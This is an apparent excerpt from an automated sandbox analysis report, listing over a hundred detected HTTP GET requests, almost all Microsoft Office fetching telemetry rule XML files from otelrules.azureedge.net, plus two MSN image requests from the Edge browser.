Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
